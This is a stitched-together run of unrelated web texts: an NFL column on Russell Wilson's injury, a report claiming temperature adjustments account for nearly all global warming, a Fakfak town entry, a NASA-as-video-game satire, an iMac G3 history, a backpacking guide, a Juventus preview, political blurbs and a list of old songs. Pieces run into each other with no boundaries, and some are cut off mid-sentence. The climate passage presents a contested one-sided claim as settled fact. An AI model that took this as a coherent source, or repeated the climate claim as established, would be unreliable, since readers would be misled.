Even without Wilson, the Seahawks can beat a 1-2 Jets team that committed eight turnovers — including six interceptions by Ryan Fitzpatrick — in a 24-3 loss to the Chiefs on Sunday. The Seahawks can do it behind a defense that has been dominant this season (the final quarter against San Francisco in garbage time notwithstanding), and they can do it with No. 2 QB Trevone Boykin at the helm.
If not, well, that still seems like a decent risk, in exchange for a healthier and more robust Wilson down the stretch.
Now, I fully realize that the Seahawks are likely to go the other way on this one, and not out of recklessness. It’s part of the NFL culture — you play through injuries that aren’t debilitating, and if you don’t, you don’t last long. And you try to give your team the best chance to win every week, because each victory is precious.
Wilson clearly has a high pain tolerance, an obsessive work ethic and an indomitable desire to be on the field. As Carroll said Monday, “He’s going to try to push it as far as you can in order to do everything he can, at all times, forever. That’s just kind of how he is.”
And that’s exactly how you want your quarterback to be. But if, after a full week of practice, Wilson is still hobbling, it would seem wise, for long-term sake, to gently push him back, away from the field Sunday.A new study reviews the alleged global warming evidence and found it almost all came from human adjustments. Furthermore, these adjustments led to temperature records that were hotter than any other records. The fact is, for all the pretense of scientific measurement, determining the average temperature of the earth involves a lot of subjective judgment that can be affected by the observers’ expectations.
The Daily Caller reports, “EXCLUSIVE: Study Finds Temperature Adjustments Account For ‘Nearly All of the Warming’ in Climate Data.”
Climate scientists often apply adjustments to surface temperature thermometers to account for “biases” in the data. The new study doesn’t question the adjustments themselves but notes nearly all of them increase the warming trend.
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Basically, “cyclical pattern in the earlier reported data has very nearly been ‘adjusted’ out” of temperature readings taken from weather stations, buoys, ships and other sources.
In fact, almost all the surface temperature warming adjustments cool past temperatures and warm more current records, increasing the warming trend, according to the study’s authors.
“Nearly all of the warming they are now showing are in the adjustments,” Meteorologist Joe D’Aleo, a study co-author, told The Daily Caller News Foundation in an interview. “Each dataset pushed down the 1940s warming and pushed up the current warming.”
“You would think that when you make adjustments you’d sometimes get warming and sometimes get cooling. That’s almost never happened,” said D’Aleo, who co-authored the study with statistician James Wallace and Cato Institute climate scientist Craig Idso.
Their study found measurements “nearly always exhibited a steeper warming linear trend over its entire history,” which was “nearly always accomplished by systematically removing the previously existing cyclical temperature pattern.”
“The conclusive findings of this research are that the three [global average surface temperature] data sets are not a valid representation of reality,” the study found. “In fact, the magnitude of their historical data adjustments, that removed their cyclical temperature patterns, are totally inconsistent with published and credible U.S. and other temperature data.”
Based on these results, the study’s authors claim the science underpinning the Environmental Protection Agency’s (EPA) authority to regulate greenhouse gases “is invalidated.”Town in West Papua, Indonesia
Fakfak ( [ˈfaʔfaʔ]) is a town in Indonesia and seat of the Fakfak Regency.[1] It had a population of 12,566 at the 2010 Census.[2] It is served by Fakfak Airport. It is the only town in West Papua with a Muslim Indian and Arab Indonesian presence.
History [ edit ]
The former name of the settlement was Kapaur and it is still in use by biologists.[3] Historically Fakfak was a significant port town, being one of the few Papuan towns that had relations with the Sultanate of Ternate, being bound to it.[4] The Sultanate later granted the Dutch colonial government permission to settle in Papua, including in Fakfak.[5] The Dutch began settlement in 1898.[6] The town still has some colonial buildings remaining from this settlement.[5]
The Japanese 1st Detachment landed in Fakfak on April 1, 1942.[7] The small Royal Netherlands East Indies Army garrison surrendered without a fight and later a small garrison of 67 men of the 24th Special Base Unit occupied the area.
Fakfak is now an isolated town, not often used for the import and export of goods.[5]
Geography [ edit ]
Fakfak is located in West Papua, Indonesia, on the Bomberai Peninsula at foothills of Fakfak Mountains, near Tambaruni Bay.[6] It is situated in an area with many limestone hills, rivers and caves. As such, the streets twist and turn.[6][8]
Demographics [ edit ]
Fakfak has a small community of Muslim Arab and Indian Indonesians, descended from traders who came to Papua in the 19th century; this minority population has decreased recently due to Fakfak's diminishing role as a port town. It is the only place in West Papua with such a community.[5]
Cultural identity [ edit ]
Due to historically being under the control of Ternate but being located in Papua, Fakfak is torn between being pro-Indonesian or supporting the Free Papua Movement.[9]
Tourism [ edit ]
Fakfak has 1.5 kilometres (0.93 mi) of white sand beaches, located approximately half an hour from the town. Nearby there are also rock paintings. It is served by the Fakfak Airport.[6]
References [ edit ]Like Valve, US video game developer NASA chose not appear at the E3 Expo, instead opting to stream live footage of their latest game from Houston earlier today.
On reviewing the footage, it is little wonder NASA were unwilling to show their faces or their product at E3 – it was unlikely to have received much attention, or at least nothing positive.
The as yet untitled game, which appears to be a multiplayer space docking simulator, is painfully slow and even the 30+ participants in the demonstration were in desperate need of stimulation - one woman broadcasting on voice-comms was calling for "coffee" after every sentence.
NASA also appear to have borrowed heavily from EVE Online, with some of the game environments bearing a striking resemblance to the celebrated Captain's Quarters found in EVE's space stations - even down to the scale model/holoprojection on the table.
NASA: The US Control Room environment is where players can control their vessels and communicate with other teams.
EVE Online: The Captain's Quarters is where players can... erm... get dressed, sit on a sofa and watch future TV.
Also possibly of interest to CCP's copyright lawyers is some of the gameplay – the sheer investment of time required to achieve anything in NASA's game owes much to EVE Online's waiting mechanic design philosophy, with the docking process taking as much time as the preparation for an EVE fleet operation.
NASA: The French controlled ATV-4 with a cargo of fuel and supplies coming very slowly into dock at the International Space Station orbiting Earth.
EVE Online: A Gallente Iteron-class hauler carrying fuel, supplies and exotic dancers coming into dock at Zoar & Sons Factory Station orbiting Nakatre IX
In the two-hour gameplay session we observed, it took the three teams—located in the United States, Russia and France—the entire time to dock a single Automated Transfer Vehicle (ATV), with no discernable PvP mechanic throughout the entire process (unless we can count what may have been a brief flash of weapon fire toward the end of the operation).
NASA: Did an unknown assailant open fire with a multispectral laser barrage as the ATV docked? Bloody station campers.
EVE Online: Brightly-coloured weapon fire done right.
The poor fidelity of the visuals shows that NASA has a long way to go if they think they can reach the heights already achieved within the video game industry. The ship and station designs are unimaginative and tubular...
NASA: The International Space Station (not actual gameplay footage).
EVE Online: A Caldari military station (actual gameplay footage).
The strategy elements on the campaign map are poorly presented with planetary interaction being even less interactive than EVE's much loved equivalent. There's not even the option for planetary bombardment as found in EVE Online's link with DUST 514.
NASA: Zoe has claimed Southern Asia and Shakira seems to be holding the Baltics. Who says girls don't like sci-fi and strategy?
EVE Online: Interacting with planets since 2010.
To be perfectly frank, NASA need to go back to the drawing board, the user interface is unacceptable in the modern age of computing and makes the creakiest elements of EVE's decade-old UI look positively fresh.
NASA: With this lack of polish on their UI, their claims of "NO_FAILURE" may be a little optimistic.
EVE Online: Actually pretty damn stunning apart from the ugly text boxes.
I'm sorry to say that the space sci-fi niche is comfortably occupied by EVE Online and this NASA thing will never take off. They should probably consider another line of work if they can't even get the basics of video game design right. After all, it's not rocket science.
Oh, wait...
[NASA screenshots taken from today's livestream of the ESA's Automated Transfer Vehicle 'Albert Einstein' docking with the International Space Station. Amazing stuff. EVE Online is also pretty cool and almost as real.]On May 6, 1998, Steve Jobs took the stage and announced the iMac G3, a consumer counterpart to the G3-powered PowerMac and PowerBook, the only remaining computers in Apple’s lineup after he had slashed all other machines, including the popular Performa line.
“The back of our computer,” he said, “looks better than the front of the other guys’. It looks like it’s from another planet. A good planet. A planet with better designers.”
August 1998: The Bondi-Colored Savior
The original iMac was introduced in 1998. In typical Jobs style, the keynote was something to behold.
“iMac comes from the marriage of the excitement of the Internet with the simplicity of Macintosh,” he said. Internet usage was “the number one use” consumers wanted, and the iMac was built to make that easy.
The iMac started the “i” revolution. Jobs said the i stood for:
internet
individual
instruct
inform
inspire
In addition to the consumer, Apple aimed the iMac at the education market, one of the company’s few remaining strongholds in the market at the time.
With the iMac, Apple returned to Jobs’ vision of an all-in-one computer, with all of the guts in the same case as the display. In a world of messy PCs, the iMac stood out as a simple, elegant computing solution.
While most of the computers at the time were beige boxes — including Apple’s other desktops — the iMac G3 was bondi blue, curvy and translucent.
The iMac G3 was built around its 1024×768, 15-inch CRT. The shape of the CRT defined the machine, with a slightly curved front.
The original iMac featured a 233 Mhz G3 processor, with a 512KB backside cache, coupled with 32 MB RAM, a 4 GB hard drive and a 24x tray-loading CD-ROM drive.
The big news with the original iMac, however, was the I/O. Apple stripped away all of its previously-used ports, including SCSI, ADB
Behind the door on the side, Apple had a 100 Mb Ethernet port, modem and up front an IR port.
…aaaand a pair of USB ports, which made the old-timers light their hairs on fire, but paved the way for easy, plug-n-play support for loads of peripherals like cameras, scanners, floppy drives and more.
January 1999: The Five Flavors
The original iMac shipped in August 1998. In January 1999, Apple offered the machine in five distinct colors. These machines shipped with a more powerful 266 Mhz G3 processor, coupled with a ATI Rage Pro Turbo graphics card with 6 MB SGRAM. The IR port was scrapped, as was the internal mezzanine slot.
The colors were as follows, clockwise:
Tangerine
Lime
Strawberry
Blueberry
Grape
These machines followed a mostly-silent “Rev. B” upgrade that happened just two months after the initial iMacs shipped. This upgrade featured Mac OS 8.5 and a ATI Rage Pro graphics card with 6 MB of SGRAM.
The Five Flavor iMacs sold for $100 less than Rev. A & B machines, at just $1199.
The Five Flavors got a spec bump to 333 Mhz in April 1999, and were replaced in October 1999, when Apple released the iMac (Slot Loading) line.
October 1999: Slot-Loading iMacs
In October 1999, Apple started shipping a slot-loading optical drive in the iMac, marking the start of the second batch of updates to the machine. These machines shipped with 8 MB of video RAM, thanks to a new ATI Rage 128 VR card. The Slot-Loading line also shipped with a base of 64 MB RAM, up for the first time since the original iMac (with a maximum capacity of 1 GB of RAM).
With this update, Apple split out the line in to “Good, Better and Best” models.
At the base, a 350 Mhz model sold at the elusive $999 price point, and was available only in Blueberry.
The 400 Mhz models included FireWire support, and wore the “DV” badge. These machines shipped in Blueberry, Grape, Strawberry, Tangerine and Lime, as the “Five Flavor” iMacs before them.
The “DV SE” was the same machine, but in Graphite, which, in my opinion, is the best-looking of all the iMac colors.
All of the slot-loading iMacs weigh in at 34.7 pounds / 15.7 kg, with dimensions of 15.0 x 15.0 x 17.1 inches / 38,1 x 38,1 x 43,5 cm.
The previous tray-loading iMacs were slightly larger at 38.1 pounds / 17.2 kg and 15.8 x 15.2 x 17.6 inches / 40,1 x 38,6 x 44,7 cm.
July 2000: Summer 2000 iMacs
In July 2000, Apple revved the iMac G3 line once again. These machines got new processor and hard drive options, and added support for Apple’s new AirPort cards. These iMacs required Mac OS 9.0.4, and support up to OS X 10.4 Tiger, except for the base model, due to its lack of FireWire 400 ports.
Gone were the Five Flavor colors.
At an all new $799 level, Apple had an all-new Indigo iMac running at 350 Mhz, with no FireWire and no AirPort support.
At 400 Mhz and $999, the iMac DV (Summer 2000) was available in Indigo and Ruby. These were the first iMacs to ship with Apple’s Pro Keyboard and Mouse, in black.
The iMac DV+ (Summer 2000) was the only iMac to ship at 450 MHz. It was available in Indigo, Ruby, and Sage. A slot-loading DVD-ROM was standard.
This generation of iMac also had a “DV SE” option, in the previously-used Graphite, as well as a new Snow color.
February 2001: Early 2001 iMacs
Welcome to what I call the “WTF Phase” of the iMac G3.
With this generation, all models gained FireWire 400 ports. Apple dropped Sage and Ruby in favor of “Blue Dalmatian” and “Flower Power”, two new patterns that were molded into the iMac’s case using a technique which took Apple 18 months to perfect.
Bonkers.
The low-end option was basically a “DV (Summer 2000) with a 400 Mhz processor at $899.
On the high-end, the new iMac picked up a CD-RW drive, leading to the “Rip. Mix. Burn.” campaign. These machines came with 20 GB hard drives and 500 Mhz G3 processors, as well as new video cards. These machines required OS 9.1
July 2001: Summer 2001 iMacs
In July 2001, Apple revved the iMac G3 for the last time.
Thankfully, Flower Power and Dalmatian didn’t make it past that single generation.
At the low end, running at 500 Mhz, Apple had an iMac in Indigo and Snow, with and ATI Rage 128 Ultra (AGP 2X) graphics card with 16 MB of VRAM, an an optional CD-RW drive. This machine sold for $999, an increase over previous low-end machines.
At 600 Mhz, the middle of the road iMac came with a 40 GB hard drive, CD-RW drive and the same video card as the low-end model. It sold in Graphite and Snow for $1299.
A 700 Mhz model was also for sale for a short time, making it the fastest CRT-based iMac of all time. In Graphite and Snow, it came with a 60 GB hard drive, but otherwise was the same as the mid-range model. This machine came with Mac OS 9.1 and Mac OS X 10.0.4, the only original iMac G3 to come with OS X.
The Final Chapter
In January 2002, with the release of the iMac G4, Apple re-arranged the iMac G3 line, keeping it for sale for a short time.
The low-end $799 model had its RAM bumped to 128 MB, and shipped with Mac OS X 10.2 as the default OS.
The G3/600 saw a price drop to $999.
The G3/700 was discontinued.
Conclusion
It’s hard to overstate the importance of the iMac G3. The iMac G3 ushered Apple in to the future, and on its translucent back, Steve Jobs rebuilt the company. While it was already under early development when Jobs returned to Apple, he took the project and made it the single machine he would re-launch the Macintosh family with. Before the iMac G3, Apple had numerous, conflicting product lines, and afterwards, just a handful of complementary ones.
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Whether you’re backpacking over the weekend or off travelling the world, there is no doubt you’ll have a good time. What’s not to love? Packing your backpack and wondering out to explore, travel and discover new places without a care in the world. With backpacking becoming ever more popular year on year and airline companies increasing flying destinations, backpackers will only travel more.
Inexperience or naivety when backpacking can lead to mistakes, which could spoil the trip ahead. There are several common backpacking mistakes that people make and we at World of Camping are going to highlight our top 8:
1. Buying a backpack that’s too big
Buying a proper backpack is essential for somebody that is going to be on the move a lot. A typical backpacker will find themselves walking to and from train stations, across beaches, checking in and out of hostels. So being able to pick up their bag and flee to their next destination is important. This mistake will most likely apply to first time backpackers, particularly those who are travelling for an extended period of time like four months to a year. We are seeing more and more of those 60 + litre and bigger backpacks with an attachable day bag, loaded to the rim. This is overkill.
If you are lugging around a full 65 litre backpack almost every day, it’s going to make you miserable and you will soon realise that you don’t need as much as you think you do. You’ll find places all over the world that offer laundry services and you can pick up toiletries from local supermarkets/ pharmacies. Be realistic of the fact that you will be wearing your backpack almost every day, bringing it to the top of buildings without elevators or while running after trains. People often feel inclined to fill their backpack to the top because they have some left over space. We recommend looking at 30-45 litre backpacks that are compact and comfortable.
2. Over packing
Another common backpacking mistake that people are most likely to make is over packing. The concept of backpacking is to travel light, only packing the essentials. Travellers that pack for every possible occasion will feel the effects from carting around their heavy backpack. If you’re backpacking around touristy areas then you can be sure to find whatever you need at the local shops. On the other hand, if you are backpacking in ‘Papua New Guinea’ for example, you may want to think of ‘things you might need’ and certainly be prepared as supplies could be limited.
A heavy backpack has potential to cause shoulder and back pains so when packing keep only the most essential items and avoid anything that you think you may not need. Pack half of what you need, travel light and enjoy the experience.
3. Not eating and drinking enough
This is a mistake that could actually lead to somebody getting ill. Replacing fluids and getting three good meals in a day is a must. If you’re backpacking in a hot destination the important of staying hydrated is crucial, keeping your body hydrated will help flush unwanted toxins from your body and will strengthen your immune system. We recommend sticking to bottled water throughout your trip as most countries don’t have safe drinking tap water.
Eating three well balanced meals each day will give you ample amounts of energy for you to make the most of your trip. It’s more than likely you’ll burn more calories than your average day at home in the U.K, so eating meals with some nutritional value will pay dividends. We understand that everybody travels on different budgets and it can sometimes be hard to get a nutritional meal each day, but food is one thing you cannot skimp on whilst backpacking. Most backpacking destinations have a wide range of eating options, with the local street food being cheap, tasty and good for you.
4. No Back up of critical documents
Having a backup of essential documents stored somewhere easily accessible, can help a backpacker travel stress free and save time for yourself by not having to contact family and friends at home. Passport details, insurance details, bank details, phone numbers and emergency contacts are all important pieces of information that need to be backed up. There are several ways to store these documents safely whilst travelling and with most backpacking destinations now having internet cafes it couldn’t be easier.
Email – Send copies of the documents to your email address and store in a relevant folder.
Memory stick – The same principle as email, just store your documents on a memory stick but be sure to give the folder a memorable password.
On Paper – A written copy of information you may need stored in a safe place within your backpack.
5. Not having an open mind
One of the main reasons people go backpacking is to experience something new and to be part of a different culture. This in mind, too many people go into travelling with too many preconceived views of what people have told them. To make the most of your backpacking experience you need to go into it with a really open mind, this way you will put yourself in the best position to experience everything. By having an open mind you are more likely to try new things, meet new people and see more places.
As well as approaching backpacking with an open mind, it’s equally important to be aware of the dangers. Foreign country laws can vary to the U.K especially if you’re outside the E.U (European Union). Crime is everywhere, but if you’re backpacking around a popular tourist destination, chances are criminals will be operating within the area. It’s important that you are aware of what goes on, but you shouldn’t let it affect you as if you’re constantly afraid of being robbed or scammed, you could miss out on the lovely locals or a destination. Just approach everything with common sense and respect and you will be fine.
6. Becoming a travel snob
This mistake tends to sit with the type of backpacker that has been away 3-5 times, not wanting to be grouped with first time backpackers and thinking activities/locations are ‘too touristy’. Nobody likes a snob, so don’t be that person. Don’t avoid or write off a destination just because you think it’s too touristy. After all, why is that place so popular? Maybe it might be worth a visit. We’re not saying you have to visit every tourist hotspot in the country, just consider it with an open mind, who knows you might love it. If you’re a lone traveller, tourist hotspots can be a great place to meet new, like-minded people.
7. Not looking into travel money methods
I know plenty of people that have gone backpacking in Asia and have come back with over £250 in cash point withdrawal fees and have been ripped off when exchanging money. This is a common mistake especially with young first time backpackers. Long gone are the days of traveller’s cheques, now there are many worldwide accepted ways to carry and withdraw money.
Most Bank companies these days offer cards that have been designed with backpackers in mind. Travelling credit cards are great as money is free to withdraw and using a credit card is always safer than using a debit card.
Pre-paid travel cards are probably the most popular method to carry money whilst backpacking. Pre-paid travel cards work like debit cards, you can only spend what’s on the card. Before you go and whilst backpacking you can add or withdraw money via an online login and the best bit, free cash point withdrawals and the card is often free to set up. The most popular pre-paid card company is caxtonfx, check them out.
8. Over planning
Backpacking is all about being spontaneous and doing things on the spur of the moment. You must avoid making the mistake of over planning and making all your bookings well in advance as you don’t want a strict schedule whilst backpacking. Only book those things that are really important like a hostel bed or a train ticket. This mistake can be costly, you could either lose money or miss an experience. You might be in a location that you really like but you find out that there’s a festival going on the day after you leave. Do you miss the festival or lose out on the flight money? It’s important that you don’t set yourself a strict schedule, just enjoy it and see where the trip takes you.
Hopefully this guide will help you NOT make the above mistakes and make your trip a huge success. The world is your oyster, go explore it!
For more Backpacks, Camping equipment and outdoor supplies please Check out our website: www.worldofcamping.co.uk
Check out our BLOG on How to Pack Your BackpackThe Bianconeri have only 10 days to turn around their current poor form in time for the resumption of their European campaign, with pressing matters to be addressed
GET GIORGIO CHIELLINI FIT
GIVE MIRKO VUCINIC TIME TO RECOVER PROPERLY
GIVE FABIO QUAGLIARELLA A RUN
SHOW GREATER ADAPTABILITY
PRAY THAT GHANA ARE KNOCKED OUT OF THE AFCON
Follow Kris Voakes on
By Kris Voakes | Italian Football WriterSince the bells tolled and the New Year was welcomed with choruses of 'Auld Lang Syne' and merriment across the world, the mood has been somewhat sombre at Vinovo. Juventus have recorded just one win over 90 minutes in seven attempts so far in 2013, and with just 10 days to go before they face Celtic in the Champions League there is no real sign of their luck changing right now.With players injured, suspended and losing form, the Serie A champions have looked a shadow of the side that built up an eight-point lead before the winter break and recorded three successive wins in Europe to extend their run on the continent into the New Year.So what can Juve do to buck the recent trend?suggests five key areas which need to be addressed if the Bianconeri are to arrive in Glasgow on the front foot on February 12.It would perhaps be going too far to suggest that the Old Lady are a one-man team, but there has undoubtedly been a drop in their performances since Giorgio Chiellini was struck down with a calf muscle injury before Christmas.The solidity that they previously displayed on both flanks has been sadly lacking from their left-hand side in 2013, with the combination of Chiellini's injury and Kwadwo Asamoah's absence leaving them with a collective limp.The Italy defender is being touted for a possible return by the middle of the month, which would make him touch and go for the visit to Parkhead, but such is his importance to the Bianconeri as a defensive unit, then an intensive push must be made to get him back on the pitch sooner rather than later.While Chiellini needs to be reintroduced as quickly as possible, the fitness of Mirko Vucinic must be guarded with a little more caution. It is a number of months since the Montenegrin has looked properly mobile, with muscle niggles accounting for some fairly non-descript performances from the former Roma striker.What Vucinic has, that the remainder of Juventus forwards do not, is the ability to provide something different. He has the creativity to drop off the front line and link play in a way that could prove crucial against a Celtic side likely to reinforce their defence with two midfielders shielding the centre-halves.To not have Vucinic firing on all cylinders would be criminal, and it would be well worth considering leaving him out of the clash with Fiorentina at Juventus Stadium next week, when he returns from the one-match ban he will serve on Sunday against Chievo.In a side which has had such notorious issues with their finishing this term, Fabio Quagliarella's record stands out like a beacon. The former Udinese striker was linked with a series of possible moves during the January transfer window, but it could turn out to be a massive boost that he was not forced out of Vinovo.While his finishing may not be that of a top drawer marksman, his eye for goal is arguably on another level to anything else coach Antonio Conte has to call upon, yet he has remained an outsider looking in for far too much of this season after being left out until December last term.If Juve are serious about challenging on two fronts, then Quagliarella could be a huge weapon for them if picked regularly. Choosing to start with him against Chievo and keeping him in for the forseeable future could well bring rewards. Anyone remember what he did to Chelsea earlier this season?Some observers were initially concerned when Conte arrived at Juventus that he may stick too steadfastly by the 4-2-4 formation he used to such great effect at Siena, and had previously found fortune with when coaching Atalanta and Bari.Those fears seemed to have been banished when he originally switched to a 4-3-3 before settling on a 3-5-2 model, which became something of a revelation in Serie A. However, there is a feeling amongst many now that all that has changed is the numbers, and that Conte has returned to being too stringent with his systems.Not since he made a match-altering double substitution and formation change in the Derby d'Italia against Inter last spring, has Conte truly shown an adaptability that he could well need as the Champions League reaches squeaky bum time. Even in Juve's recent mini-slump, the former Bianconeri midfielder has been slow to make alterations, but now may well be the time to bite the bullet and prove that his squad has more than one string to its bow.While Chiellini's absence has decimated Juventus as a structured defensive outfit, they have been anything but helped by the timing of Kwadwo Asamoah's spell with Ghana at the Africa Cup of Nations.Juve have found it nigh-on impossible to replace Asamoah, with Paolo De Ceglie and Simone Padoin failing in equal measure, while Conte has decided against using Emanuele Giaccherini in the wider slot. Against Celtic, they will need to do their very best to stretch their opponents in order to form holes in the opposition's bolstered rearguard, and so the speedy return of Asamoah could well be key to their hopes.But if he is to be available and ready to take part at Celtic Park on Tuesday week, it will be vital that he is already heading back from South Africa long before the continental final just 48 hours earlier. With Ghana facing Cape Verde in this weekend's quarter-final and the winners facing one of Burkina Faso and Togo, then it may well be wishful thinking on the Bianconeri's part.Trump's inauguration is doubling as a monster truck rally
In addition to a few other celebrities, the Trump inauguration team managed to wrangle the car-crushin'-est celebs this side of the Mississippi.
Trump's inauguration is doubling as a monster truck rally
Here's some other celebrities PEOTUS has coming to his inauguration extravaganza. It will be, as the kids say, lit af.
Toby Keith, 3 Doors Down and Lee Greenwood will headline a concert for President-elect Donald Trump's inauguration https://t.co/5NSD7ldn8c pic.twitter.com/NULbs7XE6i — CNN (@CNN) January 13, 2017
Hey, Toby Keith and 3 Doors Down are gonna be there too!
From the 3 Doors Down show in Moscow that opened their most recent tour... Coincidence? pic.twitter.com/ADrtfzEadT — Franklin Leonard (@franklinleonard) January 13, 2017
Guy's got a point.
Could the allegations against Trump concerning Russia prove his undoing? We don't know, but let's ask Stephen Colbert!We can all stop pretending continued Republican anger about the Affordable Care Act is news. Some figured a Supreme Court ruling would settle things. And since the GOP said it was unconstitutional with the same fervor as people who’ve read the Constitution—it was easy to assume a decision from the nine justices in the highest court in the land—regardless of the outcome—would chill them out.
They would say things like “We are a nation of laws.” Things they say when they agree with the law—however unjust it may be (i.e. immigration).
No instead there are calls for revolt. The perennially reasonable Senator Rand Paul (R-Kentucky) said in a written statement: “Just because a couple people on the Supreme Court declare something to be ‘constitutional’ does not make it so.” And then added, “The whole thing remains unconstitutional.” Which is akin to saying just because something is a law doesn’t make it legal. Or just because they have hair on their face doesn’t make them mammals. The court, not some junior senator from a small state, ultimately decides what is or what is not constitutional. But unconstitutional is the word conservatives use for illegitimate. In chess this move is called flipping the board over and stomping away.
But it also feeds into the right-wing narrative that they are history’s most frequent victims. To them, the more egalitarian the country becomes the more persecuted conservatives are. The sentiment can be traced back to 1845 and the founding of the Know Nothings, a nativist group concerned the country was being overrun with German and Irish immigrants. The current tea party finds its sympathies much more inline with the |
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It May Sound Silly - The McGuire Sisters, 1955
It Might As Well Be Spring - Frank Sinatra, 1964
It Must Have Been The Mistletoee - Barbra Streisand, 2001
It Isn't Fair - Don Cornell, 1950
It Never Entered My Mind - Linda Ronstadt, 1984
It Only Happens When I Dance With You - Frank Sinatra, 1948
It Only Hurts For a Little While - The Ames Brothers, 1956
It Started All Over Again - Frank Sinatra, 1942, with Tommy Dorsey & The Pied Pipers
It Was A Very Good Year - Frank Sinatra, 1965
It's A Breeze - Matt Monro, 1965
It's A Blue World - The Four Freshmen, 1953
It's A Good Day - Peggy Lee, 1947
It's A Lonesome Old Town - Frank Sinatra, 1958
It's A Lovely Day Today - Doris Day, 1950
It's A Most Unusual Day - June Christy, 1957
It's A Sin to Tell A Lie - The Ink Spots, 1956
It's All in the Game - Tommy Edwards, 1958
It's All Right With Me - Peggy Lee, 1952
It's Almost Tomorrow - The Dream Weavers, 1955
It's Always You - Frank Sinatra, 1940
It's Been A Long, Long Time - Harry James, 1945
It's Beginning to Look a Lot Like Christmas - Perry Como & The Andrews Sisters, 1952
It's Christmas Time Again - Peggy Lee, 1953
It's Dark On Observatory Hill - Ray Conniff, 1960
It's De-Lovely - Sarah Vaughan, 1953
It's Easy To Remember - Perry Como, 1957
It's Funny To Everyone But Me - Frank Sinatra, 1939
It's Getting Better - Mama Cass Elliott, 1969
It's Impossible - Perry Como, 1970
It's Just A Matter Of Time - Brook Benton, 1959
It's Magic - Doris Day, 1948
It's Not For Me to Say - Johnny Mathis, 1957
It's Now Or Never - Elvis Presley, 1960
It's Only A Paper Moon - Ella Fitzgerald, 1938
It's Over - Jimmy Rodgers, 1966
It's So Easy To Forget - Four Lads, 1957
It's The Mood That I'm In - Billie Holiday, 1936
It's The Most Wonderful Time Of The Year - Johnny Mathis, 1963
It's The Same Old Dream - Frank Sinatra, 1958
It's The Talk Of The Town - Glen Gray, 1937
It's Too Soon to Know - Pat Boone, 1958
It's You Or No One - Bobby Darin, 1963
Jamaica Farewell - Harry Belefonte, 1956
Jambalaya - Fats Domino, 1961
Java Jive - The Ink Spots, 1948
Jeepers Creepers - Tony Bennett, 1958
Jezebel - Frankie Laine, 1951
Jingle Bell Rock - Bobby Helms, 1957
Joanne - Michael Nesmith & 1st National Band, 1970
June In January - Dean Martin, 1959
Just A Gigolo - Louis Armstrong, 1930
Just Because - Brenda Lee, 1959
Just Bummin' Around - Perry Como, 1953
Just For A Thrill - Ray Charles, 1962
Just For Old Times' Sake - McGuire Sisters, 1961
Just Friends - Bobby Darin, 1961
Just In Time - Tony Bennett, 1956
Just One More Chance - Les Paul & Mary Ford, 1951
Just One Of Those Things - Ella Fitzgerald, 1956
Just the Two Of Us - Grover Washington, 1981
Just Walking In The Rain - Johnny Ray, 1956
Kaw-Liga - Hank Williams, 1952
Keep It A Secret - Jo Stafford, 1953
Key Largo - Bertie Higgins, 1982
Kisses Sweeter Than Wine - Jimmie Rodgers, 1957
L-O-V-E - Nat "King" Cole, 1964
La Vie En Rose - Louis Armstrong, 1962
Lady - Jack Jones, 1963
Lady Is A Tramp, The - Frank Sinatra, 1957
Lady Day - Frank Sinatra, 1960
Lady of Spain - Eddie Fisher, 1952
Lady's In Love With You, The - Glenn Miller, 1939
Lamplighter's Serenade, The - Glenn Miller, 1940
Last Dance, The - Frank Sinatra, 1958
Last Farewell, The - Roger Whitaker, 1975
Last Night When We Were Young - Carmen MacRae, 1955
Last Time I Saw Paris, The - Tony Martin, 1941
Laughing On The Outside - Dinah Shore, 1946
Laughter In The Rain - Neil Sedaka, 1974
Laura - Woody Herman Orchestra, 1945
Lavender Blue - Burl Ives, 1949
Lazy Afternoon - June Christy, 1957
Lazy Bones - Leon Redbone, 1976
Lazy Summer Night - The Four Preps, 1958
Learnin' the Blues - Frank Sinatra, 1955
Let A Smile Be Your Umbrella - Perry Como, 1959
Let Me Call You Sweetheart - Bing Crosby, 1934
Let Me Love You Tonight - Dean Martin, 1962
Let It Snow! - Bing Crosby, 1952
Let The Rest of The World Go By - Dick Haymes, 1944
Let There Be Love - Nat King Cole, 1961
Let's Call The Whole Thing Off - Fred Astaire, 1937
Let's Do It - Ella Fitzgerald, 1956
Let's Face The Music And Dance - Nat King Cole, 1961
Let's Fall In Love - Nat "King" Cole, 1943
Let's Get Away From It All - Tommy Dorsey, 1940
Let's Get Lost - Vaughn Monroe, 1943
Let's Misbehave - Eileen Rogers & Kenneth Mars, 1962
Let's Pretend There's A Moon - Russ Columbo, 1926
Let's Sit This One Out - Vic Damone, 1963
Let's Take the Long Way Home - Rosemary Clooney, 1983
Let's Think About Livin' - Bob Luman, 1960
Life Is Just A Bowl Of Cherries - Jaye P. Morgan, 1954
Like Someone In Love - Frank Sinatra, 1955
Lili Marlene - Marlene Dietrich, 1945
Linda - Buddy Clark, 1947
Little Girl Blue - Joanie Sommers, 1962
Little Things Mean A Lot- Kitty Kallen 1954
Little White Lies - Dick Haymes, 1948
Lollipops And Roses - Jack Jones, 1962
Long Ago And Far Away - Glenn Miller, 1944
Long, Long Time - Linda Ronstadt, 1970
Longest Walk, The - Jaye P. Morgan, 1955
Lonely Stranger - Eric Clapton, 1992
Look At That Girl- Guy Mitchell, 1953
Look For A Star - Deane Hawley, 1960
Look For The Silver Lining - Margaret Whiting, 1949
Look of Love - The - Sergio Mendes & Brazil '66, 1968
Looking Back - Nat King Cole, 1958
Losing You - Brenda Lee, 1963
Lost April - Nat King Cole, 1947
Love And Marriage - Frank Sinatra, 1958
Love Can Make You Happy - Mercy, 1969
Love For Sale - Stan Kenton Orchestra, 1943
Love In Bloom - Bing Crosby, 1934
Love Is A Many-Splendored Thing - The Four Aces, 1955
Love Is A Simple Thing - Debbie Reynolds, 1962
Love Is Blue - Paul Mauriat, 1968
Love Is Just Around The Corner - Bing Crosby, 1934
Love Is The Sweetest Thing - Al Bowlly, 1932
Love Is The Tender Trap - Frank Sinatra, 1959
Love Letters - Ketty Lester, 1962
Love Letters in the Sand - Pat Boone, 1957
Love Me As Though There Were No Tomorrow - Nat King Cole, 1957
Love Me Or Leave Me - Doris Day, 1955
Love Me With All Of Your Heart - Ray Charles Singers, 1964
Love Turns Winter To Spring - Four Freshmen, 1956
Love Walked In - The Hilltoppers, 1953
Love Will Keep Us Together - Captain & Tenille, 1975
Love, You Didn't Do Right By Me - Rosemary Clooney, 1953
Love's Been Good to Me - Frank Sinatra, 1969
Love's Old Sweet Song - The Mills Brothers, 1932(?)
Lover - Peggy Lee, 1951
Lover Come Back to Me - Nat King Cole, 1945
Lover Man - Sarah Vaughan, 1954
